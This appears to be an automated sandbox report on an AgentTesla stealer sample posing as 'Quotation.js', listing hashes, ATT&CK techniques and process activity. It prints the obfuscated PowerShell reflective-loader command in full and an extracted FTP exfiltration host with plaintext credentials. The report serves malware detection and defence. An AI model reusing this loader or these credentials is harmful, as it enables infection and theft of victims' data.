agenttesla | a2a3a59bff8f51198aa2d46fa68b08188f865bc0176d6faf70c5859427a583a7

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/08/2026, 15:07

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General

Target
Quotation.js
Size 29.0MB
Sample260831-shgnfavapd
SHA256 a2a3a59bff8f51198aa2d46fa68b08188f865bc0176d6faf70c5859427a583a7
MD5 3f6e7b54d68dc160aaccfd2e70db1d8b
SHA1 a37b9e1b85c32435382fffd05deddfdfd017c336
SHA512 2a43ae9dee646b3302ee3dd7d035f723264d582efa2c6c908e4760d48272f0991ad24a059bb520dd08caeeb7f7a750c8a3cf988a129c66a92a40fd64009ef282
SSDEEP 12288:SsVYymLKW+LAQ3x8vsTajzA9AcJwSB1EqpkB3tTGQ1Ij1psFjx3K+n5HThdTrDDA:r
TLSH
T131675E1E3264E09799FEF6213061AE1629AFB99EDFF04E8F010609D23DB93C3D69D541
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution agenttesla keylogger persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
ftp
Host
ftp://ftp.duct-master.com
Port
21
Username
[email protected]
Password
n9r,7ZVv$^zBHR0.

Signatures

Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3464	5256	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3672	5256	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2940	5256	powershell.exe	89

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3464	powershell.exe
4	3672	powershell.exe
5	2940	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3672	powershell.exe
2940	powershell.exe
3464	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Quotation.js	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3464 set thread context of 4236	3464	powershell.exe	96
PID 2940 set thread context of 3492	2940	powershell.exe	97

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
3464	powershell.exe
3464	powershell.exe
3672	powershell.exe
3672	powershell.exe
3672	powershell.exe
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe
4236	Caspol.exe
4236	Caspol.exe
4236	Caspol.exe
3492	Caspol.exe
3492	Caspol.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	4236	Caspol.exe
Token: SeDebugPrivilege	3492	Caspol.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 4236	3464	powershell.exe	96
PID 3464 wrote to memory of 4236	3464	powershell.exe	96
PID 3464 wrote to memory of 4236	3464	powershell.exe	96
PID 3464 wrote to memory of 4236	3464	powershell.exe	96
PID 3464 wrote to memory of 4236	3464	powershell.exe	96
PID 2940 wrote to memory of 3492	2940	powershell.exe	97
PID 2940 wrote to memory of 3492	2940	powershell.exe	97
PID 2940 wrote to memory of 3492	2940	powershell.exe	97
PID 2940 wrote to memory of 3492	2940	powershell.exe	97
PID 2940 wrote to memory of 3492	2940	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Quotation.js
1⤵
- Creates a file in the Startup directory
- Modifies registry class
PID:5864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('bqM9TLP6Z3fz92bBXpaHHleJKutip3wsYXAD4uw8BgpLIWfFqFK1TMSAHrlujQXl+ouiyoBBnq7ZE6OX850swmYajkd97DdZqkTSA0aZu3U=','','izWY4Od9cWksFAqHWTknLlmcwOh9Bioz/Q1XfAnnY/EY2/OC8PM9JVMgCwTpQhnq','FRVTktlTFnHSo/g+Wzir7mz+uyMwUf5igXS89YrS6B4=','D3o6ziEbbUW/4ut4IgT5vsKUIUoFBSVjyoeK+EGSc8o=','','B+tTUXBo6kFqurWms3sCTE2pNDPw/js10xoq3+8TACU=','','qf6xNQC3lsI2txh3UXrpt+i//lfrB9ClhlOUxGmy3bE=','xR6SdoAYa9z6LuX4DHYjXgiFBvoUUGl2EA0QBnHYH4j9pNak2EelhRPkGqhwNrDb','4dqxSD0LzsTDODaCFMtqDpmcXaNRYAUBBhbC7Ri4Qmo=','PCZW6GTsC1VPsmoOXRzuPQDI7RsuAhNpHj+R4X+53Uk=','EcBCCzfWADWJaH1uIkRO5arqiYhSTiQschsC5ZhvVB4=','','UJcqOm3wQVnDz+4ARV6aHRj1jv18XLBZsLaEOcrxruA=','dWDShIeVaSTuPxDlnKKG7vfyfdfqxgTx5EsllqLR5+g=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('bqM9TLP6Z3fz92bBXpaHHleJKutip3wsYXAD4uw8BgpLIWfFqFK1TMSAHrlujQXl+ouiyoBBnq7ZE6OX850swmYajkd97DdZqkTSA0aZu3U=','','izWY4Od9cWksFAqHWTknLlmcwOh9Bioz/Q1XfAnnY/EY2/OC8PM9JVMgCwTpQhnq','FRVTktlTFnHSo/g+Wzir7mz+uyMwUf5igXS89YrS6B4=','D3o6ziEbbUW/4ut4IgT5vsKUIUoFBSVjyoeK+EGSc8o=','','B+tTUXBo6kFqurWms3sCTE2pNDPw/js10xoq3+8TACU=','','qf6xNQC3lsI2txh3UXrpt+i//lfrB9ClhlOUxGmy3bE=','xR6SdoAYa9z6LuX4DHYjXgiFBvoUUGl2EA0QBnHYH4j9pNak2EelhRPkGqhwNrDb','4dqxSD0LzsTDODaCFMtqDpmcXaNRYAUBBhbC7Ri4Qmo=','PCZW6GTsC1VPsmoOXRzuPQDI7RsuAhNpHj+R4X+53Uk=','EcBCCzfWADWJaH1uIkRO5arqiYhSTiQschsC5ZhvVB4=','','UJcqOm3wQVnDz+4ARV6aHRj1jv18XLBZsLaEOcrxruA=','dWDShIeVaSTuPxDlnKKG7vfyfdfqxgTx5EsllqLR5+g=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('bqM9TLP6Z3fz92bBXpaHHleJKutip3wsYXAD4uw8BgpLIWfFqFK1TMSAHrlujQXl+ouiyoBBnq7ZE6OX850swmYajkd97DdZqkTSA0aZu3U=','','izWY4Od9cWksFAqHWTknLlmcwOh9Bioz/Q1XfAnnY/EY2/OC8PM9JVMgCwTpQhnq','FRVTktlTFnHSo/g+Wzir7mz+uyMwUf5igXS89YrS6B4=','D3o6ziEbbUW/4ut4IgT5vsKUIUoFBSVjyoeK+EGSc8o=','','B+tTUXBo6kFqurWms3sCTE2pNDPw/js10xoq3+8TACU=','','qf6xNQC3lsI2txh3UXrpt+i//lfrB9ClhlOUxGmy3bE=','xR6SdoAYa9z6LuX4DHYjXgiFBvoUUGl2EA0QBnHYH4j9pNak2EelhRPkGqhwNrDb','4dqxSD0LzsTDODaCFMtqDpmcXaNRYAUBBhbC7Ri4Qmo=','PCZW6GTsC1VPsmoOXRzuPQDI7RsuAhNpHj+R4X+53Uk=','EcBCCzfWADWJaH1uIkRO5arqiYhSTiQschsC5ZhvVB4=','','UJcqOm3wQVnDz+4ARV6aHRj1jv18XLBZsLaEOcrxruA=','dWDShIeVaSTuPxDlnKKG7vfyfdfqxgTx5EsllqLR5+g=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  PID:3492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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__PSScriptPolicyTest_gyre0qdl.x4x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gyre0qdl.x4x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3464-18-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-1-0x0000011D0C090000-0x0000011D0C0B2000-memory.dmp

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memory/3464-6-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-7-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-20-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-10-0x0000011D09E20000-0x0000011D09E2A000-memory.dmp

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memory/3464-8-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-11-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-12-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-15-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-16-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-17-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-5-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-0-0x00007FFA55AFF000-0x00007FFA55B00000-memory.dmp

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memory/3464-9-0x0000011D09D70000-0x0000011D09E22000-memory.dmp

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memory/3464-19-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-22-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-28-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3464-2-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3492-34-0x0000000007650000-0x00000000076E2000-memory.dmp

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memory/3492-35-0x00000000017F0000-0x0000000001840000-memory.dmp

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memory/3492-36-0x0000000001840000-0x000000000184A000-memory.dmp

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memory/3672-23-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3672-21-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/3672-39-0x00007FFA55970000-0x00007FFA56314000-memory.dmp

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memory/4236-26-0x0000000000400000-0x0000000000442000-memory.dmp

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memory/4236-29-0x0000000005FA0000-0x000000000655A000-memory.dmp

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memory/4236-30-0x0000000005940000-0x00000000059A6000-memory.dmp

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